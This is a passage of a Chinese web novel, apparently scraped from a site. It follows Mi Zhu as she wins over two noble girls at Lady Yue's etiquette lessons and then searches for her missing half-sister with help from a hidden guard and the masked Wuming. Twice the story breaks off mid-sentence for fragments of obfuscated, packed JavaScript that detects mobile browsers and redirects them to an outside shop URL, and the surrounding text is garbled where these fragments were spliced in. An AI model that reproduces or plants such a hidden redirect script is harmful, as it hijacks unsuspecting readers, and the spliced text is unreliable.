虽然这块肉没有人看得上,觉得它不能吃,但这不妨碍大伙儿心中对蜜珠有些成见。 ——因为这人不是按照规矩得到的这门婚事。 陛下怎么会无缘无故对一个五品小官之女关注呢? 有多少不可置信,就有多少羡慕嫉妒在里头。 如今面对面见到了蜜珠,先前悄悄说话的那个女子姜芊,如今有些震惊。 她是真没想到,传说中的未来南宁世子妃,容貌竟然真的如此惊为天人,一点儿都没言过其实。 长成这副样子了,还去学什么规矩啊。 别说南宁王府了,就是皇宫也去得吧,但凡是个心智正常的男人,都会觉得拥有这样一个美人儿,是一种幸运。 可惜鲜花插在牛粪上。 南宁世子不懂得欣赏美人。 哎,可惜可惜。 比起自己的同伴白豆蔻,姜芊想什么都写在脸上,藏不住什么事儿,是以一直瞥向蜜珠的目光,就显得很明显。 白豆蔻见同伴这样,不由一直拉姜芊的衣袖,轻声道。 “别这样瞧人家,太失礼了。” 归根结底,蜜姑娘也是个可怜人,婚姻大事身不由己,明明生成了任何男人都能爱怜的模样,却只能被迫委身于根本不相配的人。 白豆蔻发自内心对蜜珠有一股怜惜。 两人这样窃窃私语,看似小声,但蜜珠和小柳儿这边,其实把二人动作都看在了眼里。 从前蜜珠不爱出门,就是因着不想让太多人关注自己。 而今重生了一遭后,对于旁人的目光反而没那么抗拒了。 只不过她如今心中有事儿,就没太在意白豆蔻二人在说什么。 反倒是小柳儿,一直瞪着眼睛,关注着四周的动静,晓得那两个女子在暗暗讨论自家姑娘,小嘴都撅了起来,心中很不得劲儿。 他们家小姐是天底下顶顶好的姑娘,才不会像这些人一样当着别人的面说坏话。 哼! 蜜珠看到了小柳儿不忿的神色,有些好笑,伸手拍了拍她手背,冲她摇了摇头。 前世就是这样,小柳儿陪着自己尝遍了每一步辛酸,明明原本的性子是胆怯怕事的,但却因着想要保护自己,而壮足了胆子冲到她前面维护她。 这几乎要被她完全丢弃的前世记忆里,小柳儿几乎是唯一的亮色。 蜜珠这般安抚了小柳儿,后者更加委屈了,侧过身子差点跳脚,但也知道这里不是蜜府,外头的显贵们太多了,不知道哪家小姐就比他们门第更高,要是贸然得罪了只会更不好。 可是难道就因着这些人身份高,就能不分是非的在见到小姐的第一面,妄加揣测和偷偷嘲笑吗? 小柳儿就觉得这样真的是好没道理,可有没办法,这世道就如此。 她做奴婢的习惯了被欺负,多嘲笑一下都没什么,但若换成小姐,她就舍不得。 想到了伤心处,小柳儿的两只眼睛包满了眼泪,要不是顾忌着这里不方便,她真会当场哭出来。 蜜珠见这小哭包要哭不哭的模样,真是无奈,只能从袖子里抓了一把蜜饯,悄悄放到小柳儿手中。 小柳儿嘴巴一瘪,看着手心的蜜饯,差点呜哇一声哭出声来。 呜呜呜小姐这么好!出门还给她带蜜饯,自己不吃却给她吃,呜呜呜这么好的小姐,被旁人指指点点欺负了,她却不能去保护小姐。 呜呜呜于是攥着蜜饯,小柳儿憋着两泡泪,转头就对那两个世家的姑娘道。 “你们…在说什么?” 她本来是想让自己凶一些,好有些威严。 可奈何自己身份低微,且性子本来就胆小,素来在外头的时候,她是连说话声音都会弱上几分的,如今是要去为自家小姐伸张正义!两条腿已经开始抖了。 害怕… 这是一种本能。 权贵们的威严压在自幼被驯化的性情上,让她就是简简单单说一句话,也声线颤抖,仿佛被一座无形的大山压着。 她注意到了这两个女子的衣料,瞧着比小姐常穿的还要好。 下人跟经常锻炼自己的眼力,能够在一打眼就瞧出来对方的非富即贵,甚至背后的家族,比起蜜老爷还要再胜过一筹。 当这个发现浮现脑海时,小柳儿察觉自己成了哑巴,身子也开始筛糠一样抖起来。 一瞬间,她的心中几乎冒出了好多种,自己这种下人得罪了权贵之后,会遇到什么样的下场与后果,甚至连累小姐的可能。 姜芊正和白豆蔻说到兴头上,猛不丁见到一个丫鬟走过来,问她们方才在说什么。 什么意思呢?这是来兴师问罪了?来质问她们? 姜芊柳眉一皱,眼神正要变得凌厉,开口说话。 却见一道身影从那丫鬟身旁走出。 蜜珠柔和的声音传来:“二位姐妹不要见怪,是我独身一人来这儿,见你们聊得正欢,便想也跟着亲近,才让丫鬟过来问问你们早膳用了没,吃不吃蜜饯。” 她站在身子发颤的小柳儿身旁,对着姜芊两人笑靥如花,活脱脱一副美人宛若海棠花开的模样。 “哪里知道小丫鬟胆子小,笨嘴拙舌的,倒是没把话说全,反叫二位姐妹受惊了。” 这两句话说完,蜜珠又从袖子里取出新的蜜饯,递过去,用身影将小柳儿挡在了身后。 叫姜芊的姑娘最先愣住,毕竟前一刻她和自己的好友,正在说起这位蜜姑娘,结果下一刻人家正主就过来主动和她们说话了,而且还… 还这么好性子,堪称温柔如水就不说了,关键是真诚,那双水汪汪的杏眼冲着两人这么一瞧,哎哟,她心中登时浮现了一股愧疚感,像是做坏事被人当面抓到,几乎无地自容。 白豆蔻最先反应过来。 “多谢蜜姑娘,听说月夫人这里规矩严,午膳也没有,我们正愁着等会饿了该怎么办呢。” 她轻柔接过蜜珠递过来的蜜饯,并且还将它分了一半给身旁的好友姜芊。 “还是蜜姑娘考虑周全。” 白豆蔻算是皇后的外甥女,历来在京中都很受欢迎,性子非常温婉,从不招惹是非,所以哪怕姜芊这种性子略有些急躁的人,都喜欢跟在她身边。 众人都在传,将来白豆蔻是不是会被选入皇宫,成为未来太子妃? 只是如今太子还没立下,几个皇子之间看着哪个都有点可能,众人也不敢轻易下注。 但白豆蔻是那种无论和谁相处,都能让人觉得如沐春风的,是以哪怕储君未定,明面上瞧着风声,她和大皇子还有其他几位皇子之间,关系都算是亲近。 有白豆蔻接过蜜饯,和蜜珠说起话,一旁的姜芊就也跟着对蜜珠展露了笑意。 一时间三个人气氛其乐融融,瞧着竟不像刚认识的人,颇有一种多年老友重聚交谈的感觉。 无论她们说什么话,蜜珠都能带着笑容去接,竟也有一种八面玲珑感。 这让姜芊对蜜珠好感大生:“蜜姐姐,你先前怎么不出门?弄得我们以为你是那等沽名钓誉之人,误会了你。” “也就今日在此地见到了你,才知道蜜姐姐真是那等神仙妃子之人,不仅容貌好,性情也好,真恨不得从前就认识你。” 姜芊前后展露的性情变化极大,对不相干的人,向来都是指指点点看乐子,但若是入了眼,便热辣到像刚拜过把子。 她拉着蜜珠,一张嘴叨叨叨说出好多话,只让一旁的白豆蔻抿着唇摇头失笑。 蜜珠配合地点头微笑,并不时回应姜芊。 “姜姑娘说笑了,还是我该惋惜才对。今日能遇见二位姐妹,还能如此谈得来,也让我后悔从前足不出户,错过了很多精彩。” “人生总是要有知己朋友才圆满。我过去形单影只,几乎没有好友。没想到一来就认识了最好的两个,想来是上次去庙里上香有了好结果。” 她一番话,说的姜芊更加眉开眼笑,白豆蔻看蜜珠的眼神也更加异彩连连。 “蜜姑娘当真是个妙人。” 若能早先在京城冒头,就凭这样的姿容和好性子,定然早就坐稳了京城第一美人的名头,是绝不会像今日这般有这么多争议的。 倘若真的如此,那些公子哥儿也肯定早就让媒婆踏破蜜太史令家的门槛了。 蜜珠并没有关注到白豆蔻神情里的弯弯绕绕。 她只是用余光关注着身后的小柳儿,见对方平息了情绪,渐渐恢复正常,脸色也不再那么苍白,这才松了口气。 小柳儿护着她,她心中固然是感动的。 但更多的还是担忧。 看来这次回去之后,她得好好和小柳儿说道说道。 人活着,就注定了不可能永远站在权贵位置上,假如出身又放在那里,不够高的话。所以总是会有受委屈,或者吃亏的时候。 不是要永远低头,而是审时度势,随机应变,这是在恶劣环境下生存的求生手段。 她不觉得这是生存的好状态,但若是实在没有办法,兴许她也会在权贵的压迫下,慢慢前行,企图找到一个好的方式去让自己真实的活着。 从前蜜珠可不会去思考主子和下人之间的区别,但在经历了前世之后,当她重新恢复自由,从曲立封那样的人手中获得了新生,没有再跳入火坑后,她不再觉得一切是理所当然。 前世放弃她的人很多,小柳儿原本也可以放弃,却选择了义无反顾的追随保护。 不要用下人和主子这样的身份来定义这些。 下人虽然签了卖身契,但也有为了荣华富贵和自身安危,将主子放弃背叛的。 既然如此,就没什么是一成不变又天经地义的。 蜜珠只会更加前世曾经陪着她经历困苦患难的小柳儿。 小柳儿站在后方,瞧着自家小姐只是几句话就将那两个姑娘给说的心花怒放,简直看呆了眼,差点认不出来这是小姐。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528854|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她算是陪着大小姐长大。大小姐有哪些小性子,平日里爱吃什么,遇到什么事情会是什么反应,她心里都清清楚楚。 原本以为之前大小姐忽然不理曲立封,从而看清了对方的真面目,已经是一个放大的改变,让小柳儿惊讶至极。今日见到大小姐和其他贵女交谈,她才恍然有种感觉——古书里那种士别三日当刮目相看,原来竟是真的。 小姐明明日日在她身旁,她总是一眼不眨瞧着,怎么就变得那么厉害了呢。 先前小柳儿还因着小姐被其他贵女嘲笑,心中而委屈不忿,为此差点忘了尊卑,想去为自家小姐讨个公道。 但这会儿,望着小姐仿佛和那两人一直是老友的模样,小柳儿心中莫名酸涩。 小姐变得厉害了,蓄月姐姐也一直沉稳可靠,只有她还是那么没用。 方才心底里虽是想帮小姐,但却差点闯祸,还吓成了浑身哆嗦的样子,真的好没脸。偏偏这个时候,又是小姐来替她解围。 她心里再清楚不过,小姐是不喜欢和其他外人打交道的,性子最是内敛,而今却为了自己去附和别人说话,小柳儿这会儿心里怪不是滋味的。 等到月夫人款款过来,瞧见三个出身不同的千金小姐,竟然相处无比融洽时,她眉眼都流露了一丝呐喊。 京城这个圈子说大不大,说小也不小,尤其是数得上名号的贵女,家世背景都放在那儿,有头有脸的就那么些人。 月夫人对这些姑娘的家底,都算是清楚的。 所以今日特意将这三人放在长廊,却不立刻过来,就是等着三人相处不和了,再顺势教人规矩。 往常这一招很好用,贵女们眼高于顶,都有各自的脾性,在没人看着的时候,最容易迸发一些口角,若是遇上性子烈的,还能私底下让丫鬟们互相扯头花。 月夫人最先要她们改的,就是这个习性——要能忍耐,守规矩。 然而心里做好了准备,真的过来时,却并没有瞧见想象中的场景,反而是看到三个姑娘以蜜珠为首,笑得山花烂漫一般。 以月夫人的眼光,当然能看出来谁真心谁假意。 这才是她稀罕的地方。今儿在这的三个姑娘,每个家世背景她都了解过,蜜珠算是这里最低的一个,放在往常,月夫人教规矩,通常都是比着门楣去选,太史令家的姑娘还真进不了这个院子。 但因着长公主的缘故,南宁王府和蜜家结了这么一门亲,这就不一样了。 月夫人在蜜老爷着人打听教养嬷嬷时,才放出了愿意去教蜜珠的消息。 和白豆蔻以及姜芊一样,在见到蜜珠之前,月夫人对蜜珠的期待也不高。 毕竟京城里关于蜜家大姑娘的传闻,多半都是从那些纨绔口中流出,且都围绕在美貌上。女子有貌美之名固然是好,但若是只有这种名声,而没有其他的才名与贤惠,那就不太好了。 至少作为未来的当家主母来说,缺乏让人信赖的气度。 这也是月夫人愿意将蜜珠收为学生,教养规矩的原因。 至少要让南宁王府将来的女主人,能识大体,知进退,拥有一府主母的规矩。 “你们随我来。”月夫人很快收敛了所有的念头,只淡淡开口。 本来正说到欢快处的姜芊,嘴巴一闭,眼睛古溜溜转着,下一刻赶紧看着两边面容文静的蜜珠和白豆蔻,一起摆出一副垂手听话的样子。 “是。” 今日月夫人看的就是这三个姑娘,在无人特意看管的情况下,随意走动时的样子。 观察下来发现,几个姑娘里,蜜珠的规矩和仪态,竟然不是最差的那一个。 且因着天生的气质容貌在那儿,蜜珠无论做什么,都有种令人难以移开目光的高雅。 月夫人甚至因此而多看了蜜珠几眼。 等到几个姑娘都按她的吩咐,进了屋里后,她开始给她们细讲起规矩细节。 “能来我这里的姑娘,将来就是不当一府的主母,也绝不会找差的亲事。这世道旁人都当男子来当家,但一个府里规矩如何,人心安宁与否,看的是主母的御下能力。” “切莫以为女子在后宅便是绣花枕头,给人当摆设用的。这就是你们在妄自菲薄!” 蜜珠本以为月夫人讲的规矩,会是那种如何让女子更加贤惠顾家,如何讨得夫君的喜欢,如何忍辱负重只为让后宅看着一团和气。 却没想到,月夫人教她们的,并不是那些东西。 “你们以为为何京中贵女都要排着队,往我这府里塞学生,我却不愿收?你们又以为,为何结亲一定要门当户对?” 月夫人气质凛冽,虽说年纪有五十多了,但精神气却很好。 对着蜜珠几人说话时,颇有一种在后宫管着小宫女们的气势,哪怕蜜珠没有进过皇宫,瞧着这样的月夫人,也能理解为何旁人会说月夫人的规矩很严了。 “我这段时日教你们的,除了规矩,更是规矩背后的人心与手段。” “手段是术,人心是道。” 蜜珠竖起了耳朵,她用余光看旁边两个姑娘,发现她们也都听得很认真。 她有些意外,月夫人竟然是这样的月夫人。 蜜珠隐隐感觉,今日来到这里,从月夫人这儿学得的东西,会在将来隐隐改变自己。 月夫人讲得认真仔细,蜜珠也听得入神。 等到月夫人口渴,由身边的婢女送上了茶水,大家休息的间隙,蜜珠注意到了在门边徘徊不已的身影。 ——是蓄月。 蓄月素来就是神情比较淡然,过去府里无论发生什么事情,但凡不是天塌了的程度,蜜珠都很难在对方身上看到太过于慌乱的神情。 然而这会儿,蜜珠却敏锐地察觉到,的确是有什么事情发生了,蓄月瞧着有些不太镇定。 她寻了个借口,从门口出来,见了蓄月。 “发生了何事?” 蓄月言简意赅:“二小姐今日和刘小娘发生争吵,因着被打了一耳光,伤心之下离开了府,至今未归。” 她顿了顿,加了一句:“二小姐没带上任何丫鬟婆子,只孤身一人离府。后来有忠仆去寻,却遍寻无果。” 37.第 37 章 这话说到这里,已经足够让人担忧了。 蜜云历来性子就好,在蜜珠记忆里,几乎从来没犯过什么错,无论爹娘还有刘小娘说什么,她这妹妹都是低头应是的。 刘小娘其实私底下性子并不太好,甚至有点儿泼辣,偶尔会言辞尖酸,但蜜云却像是两个极端,性子压根就不像亲娘,反而温吞到像是蜜珠的同胞姐妹。 蜜云是很让人省心的,今日这般,不像是她会做出来的事儿。 蓄月说完这些之后,就暗暗观察自家小姐的神情。 说实话,当她回府打听到这事儿后,心里也是惊讶的。 大小姐方才说是感觉心中不好,让她回去打听府里可有发生什么事儿,她还只当是大小姐多想了,没想到竟然真的有事发生。 蜜珠只是想了片刻,就果断做了决定。 “备车,我们回去。” 她转身走到月夫人那儿,轻声告假道。 “家中有事,想告假半日,还望月夫人恩准。” 月夫人之前就关注到了蜜珠走到门口,去和蓄月交谈的动静,只是一直装作不知罢了。而今见蜜珠过来告假,沉默半晌,还是开口道。 “去罢。” 她也不是那等不通情理的人。 人的年头一旦活得久了,那双眼睛就锻炼出了看人的能力,谁说的真话,谁又是假话,在这些年轻姑娘们脸上,真是太好辨认了。 正因为如此,月夫人看出了蜜珠是真的在焦急,才没有多说什么。 见蜜珠走了,一直在一旁听着白豆蔻眸中闪过思索,而姜芊则有些羡慕。 月夫人的大名她早就听过了,这次能被送过来,其实也是家里的意思。 她如今尚未议亲,本来就不耐烦学什么规矩,但家中长辈觉得她性子过于骄纵直爽,不像是如今京城大户们喜欢的女子,才会特意在月夫人这里打点后,将她送过来。 姜芊本不想来,但听到了好友白豆蔻也来之后,心中就动摇了。 但这几日天气那么热,在月夫人这里还不能用膳,辰时就来,约莫要到太阳下山之时才能回去。 就好难熬。 想着方才蜜珠告假时用的借口,月夫人又那么好说话,姜芊也莫名有种想要回去偷懒休息的冲动。 她转了转眼珠,看了看身边丫鬟,然后默默否定了用家中有事这个借口。 贴身丫鬟一直在身边,就不能像蜜珠那样了,所以她得想个别的。 稍微琢磨了一会儿后,姜芊捂着小腹,慢慢走到月夫人身侧,在丫鬟的搀扶下,虚弱开口道。 “月夫人,我…小腹疼痛,今日怕是不能坚持了…” 然而方才对着蜜珠很好说话的月夫人,闻言只是似笑非笑看着她,爬满了些许细纹的脸上,挤出了一个看似亲切的微笑。 “姜姑娘不用急,我府上有专门的大夫。慈姑,去把大夫请来,给姜姑娘好好看看。” 话音落下,还不等慈姑真的去请人,姜芊已经嗷嗷喊出声来。 “不、不、不用了。哪里用得着专门麻烦大夫,我坐会儿就好了,好多了,现在都觉得好多了。” 拿开了扶着小腹的手,姜芊想着之前轻松离去的蜜珠,心里有点儿苦。 怎么月夫人还有两幅面孔呢? 她退回去看向好友,苦着脸悄悄对白豆蔻叹气。 “哎。” 白豆蔻看出她的心思,抿唇笑了笑,用手帕掩着唇,轻声对她道。 “你不要和蜜姑娘比,她瞧着神色有些焦急,怕是家中真的有事。” 好嘛,被好友这么一安抚,姜芊心中才缓过来些许。 “咦,豆蔻,你喜欢蜜姑娘吗?” 她才发现好友似乎对蜜珠的态度,有些过于亲近了,不像是刚刚有一面之缘的人。 白豆蔻想了想,清秀的脸上闪过一丝笑意。 “蜜姑娘是个妙人,她和我想的不一样。” “那是的,我本对她印象一般,以为是那等空有容貌的女子,而且想着她就算有几分姿色,多半也是自吹自擂。你知道的,咱们这种世家贵女,多半都有这个毛病,除了豆蔻你嘿嘿。” 说这话的时候,姜芊还不忘记多夸好友一下。 白豆蔻轻拍她一下:“从前我就说,莫要在人背后论是非。尤其是没亲眼看到许多事情时。” 现在想来,在和蜜珠姑娘有了这样的交集之后,再回想之前对她的揣测,白豆蔻心中都生出一些愧疚来。 “好啦好啦,我知道啦,你说的是。” 往常都会和白豆蔻斗嘴一下的姜芊,这次却乖乖点头。 说起来,蜜珠给她的感觉真神奇。 就是…远远看着,当她以为蜜珠会是个木头美人,或者会心高气傲看不起其他女子的人时,近距离一接触,蜜珠的表现完全颠覆了她的印象。 非但不是木头美人,反而灵动舒展,行事大方,并不畏缩着小家子气。 按理说蜜珠此前鲜少参加京城贵女们的聚会,没见过大世面的人,多少会在遇见其他人时,有些拘谨。 往常姜芊见过一些刚刚调任到京城的官宦之女,为着要融入她们的圈子,而各种讨好,但哪怕脸上笑容再灿烂,言行还是拘着的,并不舒展,很小家子气,能令人一眼看出她的打算,但蜜珠瞧着半点没有这种感觉。 仿佛今日在这里遇到了姜芊二人,纯然是意外,蜜珠也没有任何想要攀附的意思,纯粹是出于关切,才会走过来问她们是否需要用蜜饯。 然后又因为过于投缘,才有了后来的一番交谈,成了能变成友人的存在。 这一系列过程,太过于自然。甚至有一种,哪怕今日姜芊二人没有和蜜珠交谈,对方也不会因此有任何难过,看得很开的感觉。 见姜芊这次这么好说话,白豆蔻逗她。 “这次我说什么,你怎么这么听?” 姜芊想了想,问起白豆蔻。 “豆蔻,你不觉得蜜珠她很特别吗?” 说不出来那种感觉,一旦接触了对方之后,就会想要再多相处下去。那是一种从对方身上自然而然散发出来的吸引力。 下一刻,没待好友回答,姜芊已经先感叹上了。 “这么好的姑娘,怎么就…” 清了清嗓子,姜芊眼睛转了转,看着四周,附耳在白豆蔻耳边道。 “南宁王世子那样的山猪,能吃得来细糠吗?” 美人给他,岂不是糟蹋了。 白豆蔻:“…咳。” 好友讲话总是这么直白,也怨不得家中长辈非要打听好,将人送过来和她一起学规矩了。 “这话莫要出去说。” 南宁王世子再怎么样,也是长公主唯一的儿子。长公主的面子,就是皇后娘娘都要让几分,寻常人怎么能这样议论南宁王世子呢。 白豆蔻懊恼道:“我只是在这里与你说。” 反正,越接触蜜珠,越是替美人心疼啊。怎么就嫁了这么一个人呢。 * 蜜珠赶回蜜府时,府里已经乱了起来。 刘小娘也知道自己这唯一的女儿,素来都听话乖巧,从来都不会做任何越矩之事。 今日娘俩爆发争吵后,蜜云跑出蜜府,还没带任何下人,已经是破天荒的事了。这还过了快两个时辰,都不见对方回来。 刘小娘心中越想越慌,简直是坐立不安,心口咚咚直跳。 府里的下人已经派出去寻人了。 但她守在门房这儿那么久,半点女儿的消息都没传来,她是真慌了。 瞧见蜜珠回来时,刘小娘也顾不得往日对她的成见了,只梨花带雨扑上前,对蜜珠道。 “是我训她,让云儿伤了心,她护着你,我便多说了几句,哪想到她会离府出走…” “蜜珠啊,你是她姐姐,你可不能不管她。她向来就爱跟你待着,以前那么听我话,就是因着我多说了两句,她就为了你和我顶嘴,我气不过才动了个手…哪知道这丫头气性忽然这么大了。怎么就真的走了,一个弱女子,身边连个服侍的人都没有…” 刘小娘半辈子只得来了这么一个女儿,自然是重视的,这会儿说起这些来,就显得语无伦次了,抓着蜜珠时,手上的力道用力,就像抓住最后一根救命稻草一般。 蜜珠吃疼,但知道刘小娘是着急,便硬忍着,还是一旁的小柳儿急忙将自家小姐的手抽回来。 “刘姨娘,你抓疼我们小姐了!” 刘小娘看着蜜珠手上明显的红印,顿了顿。 “我心中着急…” 蜜珠安抚她:“我理解。小娘先别慌。” 先前在月夫人的府上,听到蜜云离府的事情,蜜珠当时心里就咯噔一下。 前世她这个妹妹,是在一次看花灯的会上,和仆人走散,从而失去踪迹。 她一直记着这个事情,但却只想着到了花灯会那一日,让妹妹避开出门,就能解了此劫,却没想到今日会冒出一个妹妹主动离府的事儿来。 一时间,就连蜜珠额上都冒出些冷汗,不由着急起来。 但这会儿刘小娘情绪激动,府里已经乱成了一团,她实在是不好也跟着乱起来,只能强自镇定。 等安抚完了刘小娘,蜜珠匆匆进主院,王氏这会儿也得到了消息,迎着蜜珠问道。 “你怎么回来了?” 月夫人那里可是很不容易才让人家同意教养的。 蜜珠叹气:“我如何能不回来。府里的人都散出去寻了吗?” 王氏迟疑:“这般大张旗鼓的,若让京中旁人知道了,恐节外生枝。” 时下对于女子名节还是很注重的,一个大家闺秀不带仆从,若被人知道了失踪,哪怕没发生什么事儿,旁人眼里看着也跟丢了名节似的,让女子只能谨言慎行。 蜜珠抿紧唇,脑中飞快思索,可有什么其他的解决法子。 妹妹是一定要及时寻到的。 以蜜云的性子,绝不会自个儿出去了那么久还不回来。她就担心是遇上了什么意外。 重生以来,因着知道了几分先机,哪怕没做成什么事儿,蜜珠心底里也一直有着沉稳。 但今日遇上了这种事儿,她才察觉,其实自己依然欠缺处理事情的火候。 王氏也不想自己府上的姑娘传出什么不好的名头。 “不如报官?” 王氏迟疑。 蜜珠抿唇:“先等等。” 她想到什么,走到院子外侧,拿出之前得到的哨子,放在唇边用力一吹。 清亮的哨音传出时,本来隐匿着的暗卫,飞快出现在了蜜珠跟前。 暗卫的长相,都易容成了那种最平平无奇的路人甲模样,是走在大街上,若是擦肩而过,都不会让人多看一眼的,用来当盯梢最不会令人怀疑。 蜜珠被忽然出现的暗卫吓了一跳。 虽然心中早就有些预料,无名送她的哨子,应该能在危急时刻喊来人,但因着对方没有明说,这也只是蜜珠的一个猜想,却没想到,几乎是哨音刚落下的瞬间,就能唤来人。 不仅蜜珠,就连跟出来的王氏,猛不丁见到院子里多出来一个不是家丁打扮的男人,都往后倒退了一步。 “这…这是何人?” 暗卫的隐匿功夫和轻功的确是高,藏着的时候无人注意,忽然冒出来也像是平地生出的人一般,大白天的看着有些惊悚。 但这会儿,蜜珠也顾不得多和娘解释了,她对暗卫道。 “能帮我去寻我妹妹吗?” 江湖人士都有自己的门路,先前和阿晴接触的时候,蜜珠隐约知道,他们都有自己的帮派,在民间都有很多眼线。 往常按照蜜珠自己的路子,哪怕想要第一时间找到妹妹,也只能求助于官府,或者寄希望于府里的家丁婆子们,能够将人找回来。 但这到底是否奏效,尚未可知。 无名留下的勺子,一吹响,竟然就有人第一时间出没,这实在是让蜜珠心惊——江湖中人的力量那么大吗。 暗卫听着蜜珠的吩咐,沉默了片刻。 按理说,暗卫只听从少主的吩咐,只负责蜜珠姑娘的安全。但因着对方手里有少主送出来的哨子,且蜜珠的身份是未来世子妃。 “是。”暗卫心中思索之后,迅速做出决断,将此事应了下来。 他作为暗卫,先前在府里,暗中观察着所有动向,当然也有注意到蜜府二小姐负气离开。只不过这不在他的职责之内,哪怕当时注意到了,也只是瞥一眼,并没有多想。 如今既然未来世子妃吩咐了,那将对方安然寻回,就成了一件重要的事儿。 下一刻,暗卫的身影重新消失不见,仿佛原地从来没出现过人一般。 一直在旁边看着全程的王氏,捂着心口对蜜珠道。 “这…这是哪儿来的人?” 这么厉害的人,竟然听着珠儿的话,这是王氏万万想不到的。 那忽然出现,又忽然失踪的男子身影,瞧着非常莫测,根本就不是府里普通的家丁能比的。 “娘,此事说来话长,我以后再与你解释。” 蜜珠知道娘这会儿肚子里有太多疑惑,但哨子涉及到的暗卫,和无名有关。 蜜珠不希望娘知道了多想。 她娘忧虑过多,平日里就有些优柔寡断,知道太多了无法消化,只会暗地里担心,翻来覆去睡不着。 “行罢,你长大了,有自己的主见。娘不管这些。” 王氏也晓得,女儿如今的性子也和从前不同了,不能再像对小孩儿那样拘着蜜珠。 瞧着因为密云失踪,蜜珠急匆匆回来后,就想法子去寻人,这从头到尾表现出来的镇定,王氏对着一旁的贴身丫鬟唏嘘道:“珠儿小的时候,我还没想过,她大了做事会这般利索。” 王氏是知道自己性子的,她主见少,也不爱管事儿,性情过于柔顺,所以作为一府的主母,过去常常压不住下人,更是被一些刁奴坐到脑袋上,背地里她也抹过眼泪,觉得自己没用,不能很好地护住女儿。 于是她常常叮嘱蜜珠,不要惹事儿,不要强出头,不要让人注意了排挤,什么事儿都要小心,要有女子贤惠的样子,这样才能平平安安。 不知不觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但刘小娘对蜜云就跟看眼珠子似的,哪里愿意王氏多和蜜云亲近,王氏不想因着这些让府里气氛太过不宁,只能作罢,后来也就不提这些事儿。 然后不知不觉,两个姑娘就都到了及笄的时候。 想着前尘往事,王氏觉得日子过得可真快啊,等到两个月后女儿出嫁了,自己该多么不习惯。 王氏这里伤感时,刘小娘那儿整个人已经濒临崩溃了 她哪里知道自己只是和女儿吵了一架,就会闹出这么大的后果。 眼见着太阳从一开始高高挂在正中央,慢慢往下倾斜,再过一会儿,老爷就要下朝回来了。 到了这会儿,她也知道,蜜云出府必定是遇上了什么意外,否则怎么会这么久不见人影。 不说老爷知道了此事,该怎么责怪于她。就是刘小娘自己,也是过不去自己这一关的。 女儿若真的出了事,叫她往后怎么办。她就这么一个孩子啊。 往常刘小娘总是爱嗑瓜子,显得很惬意,把自己也收拾的极为体面,但如今鬓发乱了,人都顾不上了,只是通红着眼往外头看。 这一幕,让许多下人看了也怪唏嘘的。 刘小娘的为人并不像主母王氏那么好,那张嘴巴又不饶人,就连亲生女儿撞上了火气,都是要指着鼻子大骂一顿的,何况是对下人呢。 在刘小娘身边服侍过的丫鬟婆子,都见过她尖酸刻薄的样子,但这些年里,还是头一次见对方如此狼狈。 看来二小姐也算是刘小娘的命根子。 蜜珠在府里也待不住,她正要备马出门,就见一道身影闪过。 “你找到她了吗?”一见到高墙上出现的人影,蜜珠不由提起了心,下意识问。 她以为回来的还是那个去帮她寻妹妹的暗卫,话音出口,一看对方的衣着身形,乃至面具,骤然意识到,如今在她面前的是无名。 “你怎么来了。”蜜珠抿唇,意识到自己有些失态。 去麻烦那个暗卫帮自己找人的时候,她还没多想,只是像抓住浮萍那样,想要及时找到妹妹,避免出事。 可当无名本人站在她面前时,她却意识到,自己又欠了对方一次。 然而这一次,还是非欠不可。 她所认识的人里,几乎只有无名是最神通广大的人了,似乎人脉很广,五湖四海都有人。有他们帮助,在找回蜜云这件事上,蜜珠心里会多出一些踏实感。 “我来,自然是听到了你的事。” 华宣看着蜜珠,瞧见对方眼里的急切,心中生出几丝怜惜。 “不用急。你妹妹会平安无事。” 他并不是那种特别会安慰人的,面对蜜珠的心急如焚,只能干巴巴挤出这几个字。 蜜珠的情绪,很奇怪的牵动着他的心绪。 他从暗卫那里一听到蜜珠用了哨子,顿时就在府里待不住了,哪怕手里有还未处理的正事,但比起蜜珠的求助来说,都是可以往后推一推的了。 就好像在这姑娘身上,有几根看不见的丝线,一直在无形中拉扯着他。 这些丝线初时还不那么牢固,但几次邂逅下来,却渐渐变成了一种牢固的缘分与牵绊。 倘若蜜珠好好的还好,这些丝线最多让他挂念一些,会偶尔想到蜜珠,关切她在干什么。但若是听到她有些波澜,丝线顿时就变成了很不平静的拉扯,令他也跟着心乱起来。 “你的人,找到她了吗?”蜜珠抿着唇,轻声开口。 无名点头:“快了。” 他凡事喜欢有把握,是以哪怕已经有了下落,但若没有帮蜜珠把妹妹安然无恙带到面前,就不会说笃定的话。 有了无名的这话,蜜珠忽然松了口气。 不知道为什么,见到无名亲自来,她心里踏实了起来,不再方才那么不安,且痛恨自己的无助无力。 初重生的时候,蜜珠曾经那么理性冷静,以为自己已经脱胎换骨,所以在面对曲立封时,可以那么坦然,好像所有的事情都掌控在自己手里,连同她上辈子如同风筝线一样的命运。 但这似乎只是一种最初的假象。 兴许过去的她是天真懦弱,又过于相信别人,会把幸福寄托在青梅竹马身上的,所以在经历了前世被曲立封负心薄幸后,这些浮现的性格,都被残忍的事实磨去了。 可是这些表面的瓦砾被磨去后,蜜珠发觉自己依然没能成为一块儿美玉。 遇到事情了,她同样会慌乱,会不知所措,最多只是在面上装一装,不让人看出来。 若今日没有无名送的哨子,没有人帮助,她会怎么处理妹妹的事情? 她能怎么办? 怎么才能既不伤到妹妹的名誉,又能及时安然的把对方带回来? 蜜珠一瞬间觉得自己好挫败,她像个一事无成的废物。 姑娘站在庭树下,红了眼圈抿着唇的模样,实在令人心怜。乌黑的青丝,与过于白皙但柔嫩的肌肤,形成了触目惊心的对比,蜜珠有种美到妖异的味道。 红的唇,水汪汪的杏眼,就是低着头不说话时,波光流转间,也能让人心跟着一起晃动。 华宣不知道何时,从墙上跳了下来,已经站到了蜜珠跟前。 